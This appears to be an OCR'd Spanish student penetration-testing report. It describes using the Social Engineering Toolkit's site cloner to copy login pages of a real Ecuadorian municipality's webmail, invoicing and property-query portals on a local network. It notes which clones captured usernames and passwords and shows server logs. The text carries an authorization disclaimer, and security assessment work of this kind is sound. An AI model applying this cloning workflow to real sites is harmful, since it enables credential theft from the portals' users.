
La funcién principal del phishing web es engafar a los usuarios y obtener informacién
confidencial, como contrasefias, datos bancarios o informacion personal sensible. El
phishing web es una forma de ataque cibernético en la que los atacantes se hacen pasar por

entidades legitimas, como bancos, tiendas en linea o servicios populares, para engafiar a los

2. MAPA DEL SISTEMA

SET (Social Engineering Toolkit) es una herramienta incluida en Kali Linux, que es una
distribucion de Linux enfocada en seguridad y pruebas de penetracion.

SET es una suite de herramientas de ingenieria social disefiada para ayudar a los profesionales
de la seguridad a realizar pruebas de penetracion y evaluar la seguridad de los sistemas mediante
la simulacion de ataques basados en ingenieria social.

El objetivo principal de SET es permitir a los expertos en seguridad llevar a cabo ataques
controlados para evaluar la preparacion de una organizacion frente a la ingenieria social y la
concienciacion de los empleados.

La herramienta incluye una variedad de modulos y funcionalidades que pueden ser utilizados
para llevar a cabo ataques como el phishing, creacion de sitios web falsos, envio de correos
electronicos de phishing y més.

Es importante destacar que SET debe utilizarse con responsabilidad y solo en entornos
autorizados para pruebas legitimas de seguridad. El uso indebido de estas herramientas o la

realizacion de ataques sin consentimiento puede ser ilegal y esta estrictamente prohibido.
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ﬁ | - A r, g E]Vi IZl *~ | root@esteban: /home/s

.

Archivo Acciones Editar Vista Ayuda

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://vwww.trustedsec.com

Social-Engineering At
ation Testing (
Third Party M es
Update the cial-Engineer Toolkit
Update SET configuration
6) Help, Credits, and About

9) Exit the Social-Engineer Toolkit

Method
Exploit Method
Attack Method
Method
¢ Method
. Web Method
Method

to Main Menu
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1) Web Templates
2) 5ite Cloner

3) Custom Import

00) Return to Webattack Menu

La busqueda de vulnerabilidades web es un proceso esencial para garantizar la seguridad de las
aplicaciones y sitios web, y ayuda a los propietarios a protegerse contra posibles ataques y

asegurar la informacién confidencial de los usuarios.

- GAD Bolivar @fa: de 1 GAD Bolivar 4« GAD Bolivar @famm[krﬁa Webmail Login © Introducing C Ql\«‘létodo argu

municipiobolivar.gob.ec

}3@"%? INICIO ~ CANTONv ~ GADBOLIVARv ~ ESTRUCTURAv  MUNICIPIOv  TRANSPARENCIAv  SIL

S
Mision y Vision . 4y
Valores Institucionales
Objetivos Institucionales

Concejo Cantonal de Proteccion
Integral de Derechos )

WebMail
Sistema Facturador Universal
Comprobantes Electronicos

Consulta td Comprobante
Electronico

Consulta de los Valores de
Predios
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ATAQUE DE PISHING AL SISTEMA DE CORREO ELECTRONICO

192.168.1.7

® PelisPop - Peliculas... (@ Curso de Pentest

A network error occurred during your login request.
Please fry again. If this condition persists, contact your
network service provider.

LWebmalil

Email Address

estebanherrera@gmail.com

Password

Reset Password

Ayl éedtina dansk Deutsch EAAnviké English espafiol espafiol latinoamericano

En este intento de hacking no se logra tener un envié adecuado de las credenciales por lo que

la seguridad para este sitio paso los niveles a nivel de phishing.

192,168.1.6 - - [17/May/2023 15:37:03] "GET / HTTP/1.1" 200 -
192.168.1.8 - - [17/May/2023 15:38:11] "GET / HTTP/1.1" 200 -
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ATAQUE DE SUPLANTACION DE IDENTIDAD AL SISTEMA FACTURADOR
UNIVERSAL

o, Areapersonal @, Iniciar Sesidn ﬂ Course: INTRODUC... Cuevana 3 | Todas 1.]

e Pentest e Curso | Introduccid...

A—- — Sistema Facturador Universal

* |dentificacion C.I / RUC:
0401913921

* Contrasefia:

[ 4 Olvido su contrasefia?

* Campos obligatorios

Ingresar al sistema

Este ataque no resulto efectivo ya que no envia las credenciales al servidor instalado en el puerto

80.

192.168.1.8 - - [17/May/2023 16:29:12] "GET / HTTP/1.1" 200 -
192.168.1.8 - - [17/May/2023 16:29:13] "GET /_lib/prod/third/

ATAQUE DE SUPLANTACION DE IDENTIDAD AL SISTEMA DE COMPROBANTES
ELECTRONICOS
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PLATAFORMA
@ TECNOLOGICA

0

Ingreso Institucional

Ingresar

Olvidé su contraseiia?

AM=

Direccion: Agustin Guerrero E5-24 y José Maria Ayora

Teléfono: 02 2269723 , Correo Electronico: plataforma municipal@ame.gob.ec o

En este ataque el resultado es positivo ya que nos arroja usuario y contrasefa del usuario todo

esto en la red de area local.

192.168.1.8 - - [17/May/2023 14:28:06] "GET / HTTP/1.1" 200 -
192.168.1.8 - - [17/May/2023 14:28:07] "GET /favicon.ico HTTP/1.1" 404 -

ATAQUE DE SUPLANTACION DE IDENTIDAD AL SISTEMA DE CONSULTAS DE
PREDIOS CREADO POR EL GAD MUNICIPAL DE BOLIVAR Y LA UPEC.
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k=~ GAD Municipal del Canton X L=~ GAD Bolivar @ factrador ame - Buscar con < Y=~ GAD Bolivar

& SOIEE

Rasgere S g g

£ Estimade Usuario si tiene inconvenientes al ingresar al sistema
acérquese al GAD Municipal
-

Nota: Si es primera vez que accede al sitio por favor colocar
su niimero de cédula como contrasefia

Todos los derechos reservados 2021 © GAD Bolivar - UPEC

Volvemos a tener resultados positivos ya que de igual manera nos arroja usuario y contrasefia

de esta web clonada.

192.168.1.8 - - [17/May/2023 15:18:46] "GET / HTTP/1.1" 200 -

192.168.1.8 - - [17/May/2023 15:19:12] "POST /login HTTP/1.1" 302 -
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3. GLOSARIO

Término Descripcion
Password Contrasefia que conocen determinadas personas
Crackear Es una técnica para dafiar maliciosamente el software de la

computadora o sistemas de seguridad completos.

Phishing El phishing es una forma de ataque cibernético en la que los
ciberdelincuentes se hacen pasar por entidades legitimas,
como bancos, tiendas en linea, servicios populares o
instituciones gubernamentales, para engafar a los usuarios y
obtener informacion confidencial, como contrasefias, datos

bancarios o informacion personal sensible.
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